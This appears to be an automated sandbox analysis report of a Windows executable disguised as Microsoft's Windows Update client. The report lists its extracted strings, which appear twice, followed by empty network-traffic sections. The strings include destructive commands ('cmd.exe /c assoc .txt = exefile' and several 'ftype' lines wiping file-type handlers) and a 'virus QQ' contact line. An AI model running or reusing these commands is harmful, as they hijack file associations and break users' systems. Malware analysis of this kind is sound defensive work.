@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDHDDDDDDODDDDDD@@
DDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD
tDDDDDODDDD@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDODDDDDODD@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDD
wtDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDwt
DDDDODD@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDGODDDDODDDDD@@@
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDHGHtDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDD
ttDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDwtDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDGwxDGDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDtxDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDxDDDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDOGDDDDDDDDDODDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDHDDDDDDDDDODDDDDDDD
DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD
txDDDDDDDDDDDDO@@@@@@DD
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDOtDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDO@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
DDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDHwxDDDDDDD
DDDDDDDH
xDDDDD
DDDDDDHDDDD
DDDDDD
DDDDDODDD
DDDDDwt
DDDDDGODD
HGHtDD
DwtDDD
DGwxDGDDDD
DDDtxDDDDD
DDxDDDDDDD
DDOGDDDDDDD
DDHDDDDDDD
txDDDDDDDDDD
DDDOtDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDD
BABBABBABBABBABBABBABBABBABBAB
BABBABBABBABBABBABBABBABBABBAB
BABBABBABBABBABBABBABBABBABBAB
4745CF14A670BD794C7455882DCB029C
524596221D393B285FEBFC4DFFDAB158
A628D77C4AD4D6B8983A40DAA4445148
0695F87FC681BC2EB4713225017D4794
AC1FAC1A50DAFD42187F5A19BE69D458
D7CF07C200854387ABB2BC5E05A41F0A
244C9CEFF24FB6D07465AE74337D8F75
3724D5CE32D17EBE659322443B59D75E
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
Auto Update Client Window
RTFWRAPPER.HTM
!',,,,,
>,,,*"
!*,,.46;<
`<61,,,%
*,,19????C
ZB?>8/,+"
$,,1;??EJOPP
hHB??8.,(6
q,.6??FOSY]a
rWPLC?>2,5
8.<?COS[cdhn
uaZRJ@?6;
.<?HPZcgmqq|
|uhcaVOB?
<?JR`dmqquy~!
yrqogh
n?JSaeoqu~
eFR`gooppzc
BO^elea
raP?.
&(/9?@CN
\A=6-#
+6?FS\b
dK@=32
F:AQ_bhr
xb\I?A
:AZbgnow
AZ_d``i
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Microsoft Corporation
FileDescription
Windows Update AutoUpdate Client
FileVersion
5.4.3790.5512 (xpsp.080413-0852)
InternalName
wuauclt1.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
wuauclt1.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.4.3790.5512
VarFileInfo
Translation
fff33f
MS Shell Dlg
< &Back
&Next >
Cancel
Welcome to the Automatic Updates Setup Wizard
This wizard helps you set up Windows Update to automatically deliver important software and hardware updates to your computer, using your Internet connection.
Use of automatic updates is covered by the
End User License Agreement
RichEdit20W
Note Windows Update does not collect any form of personally identifiable information from your computer.
Read our privacy statement
RichEdit20W
To continue, click Next.
MS Shell Dlg
Read this first
&Settings
&Remind Me Later
&Install
Ready to Install
The following updates are recommended for your computer. Review the list of updates and click "Install" to continue.
Automatic Updates
MS Shell Dlg
Read this first
&Settings
&Remind Me Later
Start &Download
If you don't want to download a selected update, clear the check box next to the update.
Updates for Your Computer
The updates listed below will be downloaded to your computer.
MS Shell Dlg
RichEdit20W
Note Some updates may require that you restart your computer. Please save your work and close all programs before proceeding.
&Details
&Remind Me Later
&Install
If you would like to postpone installation to a more convenient time, click "Remind Me Later."
Windows is ready to install the recommended updates for your computer.
Ready to Install
MS Shell Dlg
Installation in Progress
Updates are being installed. You will be notified when installation is complete.
msctls_progress32
Progress1
MS Shell Dlg
Installation Complete
Windows has finished installing updates for your computer.
MS Shell Dlg
Restart Your Computer To Finish Installing
The updates will not be fully installed until you restart your computer.
Before restarting, be sure to save your work and close any open programs.
Restart the computer now?
Automatic Updates
MS Shell Dlg
Cancel
Please remind me:
Automatic Updates Setup Wizard
MS Shell Dlg
Automatic Updates
MS Shell Dlg
Automatic Updates
MS Shell Dlg
Windows can find the updates you need and deliver them directly to your computer.
&Keep my computer up to date. With this setting enabled, Windows Update software may be automatically updated prior to applying any other updates.
Learn more about automatic updating
Settings
N&otify me before downloading any updates and notify me again before installing them on my computer
&Download the updates automatically and notify me when they are ready to be installed
A&utomatically download the updates, and install them on the schedule that I specify
Learn more about scheduled installing
D&eclined Updates
Cancel
Declined Updates
MS Shell Dlg
You can choose to have Windows notify you again about updates you previously declined.
Do you want to restore declined updates?
Automatic Updates
MS Shell Dlg
Notification Settings
Windows can find the updates you need and deliver them directly to your computer.
&Keep my computer up to date. With this setting enabled, Windows Update software may be automatically updated prior to applying any other updates.
Learn more about automatic updating
Settings
N&otify me before downloading any updates and notify me again before installing them on my computer
&Download the updates automatically and notify me when they are ready to be installed
A&utomatically download the updates, and install them on the schedule that I specify
Learn more about scheduled installing
< &Back
&Next >
Cancel
Automatic Updates Setup Wizard
MS Shell Dlg
< &Back
&Finish
Cancel
To close this wizard, click Finish.
Windows recognizes when you are online and uses your Internet connection to search for downloads from the Windows Update Web site. A message appears on your desktop to let you know when updates are available.
You will be prompted to complete the wizard again later.
The Automatic Updates Setup Wizard did not complete successfully because you clicked Cancel.
Cannot Complete the Automatic Updates Setup Wizard
MS Shell Dlg
< &Back
&Finish
Cancel
To close this wizard, click Finish.
To change your notification option, click Back.
You have successfully completed the Automatic Updates Setup Wizard. Windows has saved your notification option.
Completing the Automatic Updates Setup Wizard
Automatic Updates
MS Shell Dlg
msctls_progress32
Progress1
Windows is ready to begin installing the updates available for your computer.
Do you want Windows to install the updates now?
(Installation will start if no action is taken within %d:%.2d minutes)
Automatic Updates
MS Shell Dlg
msctls_progress32
Progress1
Your updates have been installed succesfully. To complete installation you must restart your computer.
Do you want to restart your computer now?
(Windows will restart your computer if no action is taken within %d:%.2d minutes)
&Resume!Downloading Updates
%d%% Complete"Downloading Paused
Click to Resume
Verdana
in 30 minutes
in one hour
in two hours
in four hours
Tomorrow
Read more...#Stay current with automatic updates
Automatic Updates
If you close the Automatic Updates Setup Wizard, you will be prompted to complete the wizard again later. Are you sure you want to cancel?
Automatic Updates Install
in 3 days
Next, Use SHIFT+F1 to read more about this update
tClick here to learn how to keep your computer up to date automatically with important downloads from Windows Update.!New updates are ready to downloadbUpdates are available from Windows Update. Click here to review these items and begin downloading. New updates are ready to installxUpdates for your computer have been downloaded from Windows Update. Click here to review these updates and install them.
Start &Download
&Install
&Close
&Pause
End User License Agreement
Read our privacy statement
scheduled installing
automatic updating
Every day
Every Sunday
Every Monday
Every Tuesday
Every Wednesday
Every Thursday
Every Friday
Every Saturday
9(Installation will start if no action is taken within %s)D(Windows will restart your computer if no action is taken within %s)
m':'ss' minutes'
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
Auto Update Client Window
RTFWRAPPER.HTM
!',,,,,
>,,,*"
!*,,.46;<
`<61,,,%
*,,19????C
ZB?>8/,+"
$,,1;??EJOPP
hHB??8.,(6
q,.6??FOSY]a
rWPLC?>2,5
8.<?COS[cdhn
uaZRJ@?6;
.<?HPZcgmqq|
|uhcaVOB?
<?JR`dmqquy~!
yrqogh
n?JSaeoqu~
eFR`gooppzc
BO^elea
raP?.
&(/9?@CN
\A=6-#
+6?FS\b
dK@=32
F:AQ_bhr
xb\I?A
:AZbgnow
AZ_d``i
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Microsoft Corporation
FileDescription
Windows Update AutoUpdate Client
FileVersion
5.4.3790.5512 (xpsp.080413-0852)
InternalName
wuauclt1.exe
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
wuauclt1.exe
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.4.3790.5512
VarFileInfo
Translation
fff33f
MS Shell Dlg
< &Back
&Next >
Cancel
Welcome to the Automatic Updates Setup Wizard
This wizard helps you set up Windows Update to automatically deliver important software and hardware updates to your computer, using your Internet connection.
Use of automatic updates is covered by the
End User License Agreement
RichEdit20W
Note Windows Update does not collect any form of personally identifiable information from your computer.
Read our privacy statement
RichEdit20W
To continue, click Next.
MS Shell Dlg
Read this first
&Settings
&Remind Me Later
&Install
Ready to Install
The following updates are recommended for your computer. Review the list of updates and click "Install" to continue.
Automatic Updates
MS Shell Dlg
Read this first
&Settings
&Remind Me Later
Start &Download
If you don't want to download a selected update, clear the check box next to the update.
Updates for Your Computer
The updates listed below will be downloaded to your computer.
MS Shell Dlg
RichEdit20W
Note Some updates may require that you restart your computer. Please save your work and close all programs before proceeding.
&Details
&Remind Me Later
&Install
If you would like to postpone installation to a more convenient time, click "Remind Me Later."
Windows is ready to install the recommended updates for your computer.
Ready to Install
MS Shell Dlg
Installation in Progress
Updates are being installed. You will be notified when installation is complete.
msctls_progress32
Progress1
MS Shell Dlg
Installation Complete
Windows has finished installing updates for your computer.
MS Shell Dlg
Restart Your Computer To Finish Installing
The updates will not be fully installed until you restart your computer.
Before restarting, be sure to save your work and close any open programs.
Restart the computer now?
Automatic Updates
MS Shell Dlg
Cancel
Please remind me:
Automatic Updates Setup Wizard
MS Shell Dlg
Automatic Updates
MS Shell Dlg
Automatic Updates
MS Shell Dlg
Windows can find the updates you need and deliver them directly to your computer.
&Keep my computer up to date. With this setting enabled, Windows Update software may be automatically updated prior to applying any other updates.
Learn more about automatic updating
Settings
N&otify me before downloading any updates and notify me again before installing them on my computer
&Download the updates automatically and notify me when they are ready to be installed
A&utomatically download the updates, and install them on the schedule that I specify
Learn more about scheduled installing
D&eclined Updates
Cancel
Declined Updates
MS Shell Dlg
You can choose to have Windows notify you again about updates you previously declined.
Do you want to restore declined updates?
Automatic Updates
MS Shell Dlg
Notification Settings
Windows can find the updates you need and deliver them directly to your computer.
&Keep my computer up to date. With this setting enabled, Windows Update software may be automatically updated prior to applying any other updates.
Learn more about automatic updating
Settings
N&otify me before downloading any updates and notify me again before installing them on my computer
&Download the updates automatically and notify me when they are ready to be installed
A&utomatically download the updates, and install them on the schedule that I specify
Learn more about scheduled installing
< &Back
&Next >
Cancel
Automatic Updates Setup Wizard
MS Shell Dlg
< &Back
&Finish
Cancel
To close this wizard, click Finish.
Windows recognizes when you are online and uses your Internet connection to search for downloads from the Windows Update Web site. A message appears on your desktop to let you know when updates are available.
You will be prompted to complete the wizard again later.
The Automatic Updates Setup Wizard did not complete successfully because you clicked Cancel.
Cannot Complete the Automatic Updates Setup Wizard
MS Shell Dlg
< &Back
&Finish
Cancel
To close this wizard, click Finish.
To change your notification option, click Back.
You have successfully completed the Automatic Updates Setup Wizard. Windows has saved your notification option.
Completing the Automatic Updates Setup Wizard
Automatic Updates
MS Shell Dlg
msctls_progress32
Progress1
Windows is ready to begin installing the updates available for your computer.
Do you want Windows to install the updates now?
(Installation will start if no action is taken within %d:%.2d minutes)
Automatic Updates
MS Shell Dlg
msctls_progress32
Progress1
Your updates have been installed succesfully. To complete installation you must restart your computer.
Do you want to restart your computer now?
(Windows will restart your computer if no action is taken within %d:%.2d minutes)
&Resume!Downloading Updates
%d%% Complete"Downloading Paused
Click to Resume
Verdana
in 30 minutes
in one hour
in two hours
in four hours
Tomorrow
Read more...#Stay current with automatic updates
Automatic Updates
If you close the Automatic Updates Setup Wizard, you will be prompted to complete the wizard again later. Are you sure you want to cancel?
Automatic Updates Install
in 3 days
Next, Use SHIFT+F1 to read more about this update
tClick here to learn how to keep your computer up to date automatically with important downloads from Windows Update.!New updates are ready to downloadbUpdates are available from Windows Update. Click here to review these items and begin downloading. New updates are ready to installxUpdates for your computer have been downloaded from Windows Update. Click here to review these updates and install them.
Start &Download
&Install
&Close
&Pause
End User License Agreement
Read our privacy statement
scheduled installing
automatic updating
Every day
Every Sunday
Every Monday
Every Tuesday
Every Wednesday
Every Thursday
Every Friday
Every Saturday
9(Installation will start if no action is taken within %s)D(Windows will restart your computer if no action is taken within %s)
m':'ss' minutes'

DNS

Name Response Post-Analysis Lookup
dns.msftncsi.com A 131.107.255.255 131.107.255.255
dns.msftncsi.com AAAA fd3e:4f5a:5b81::1 131.107.255.255

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.56.101 53179 224.0.0.252 5355
192.168.56.101 49642 224.0.0.252 5355
192.168.56.101 137 192.168.56.255 137
192.168.56.101 61714 114.114.114.114 53
192.168.56.101 56933 114.114.114.114 53
192.168.56.101 138 192.168.56.255 138

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.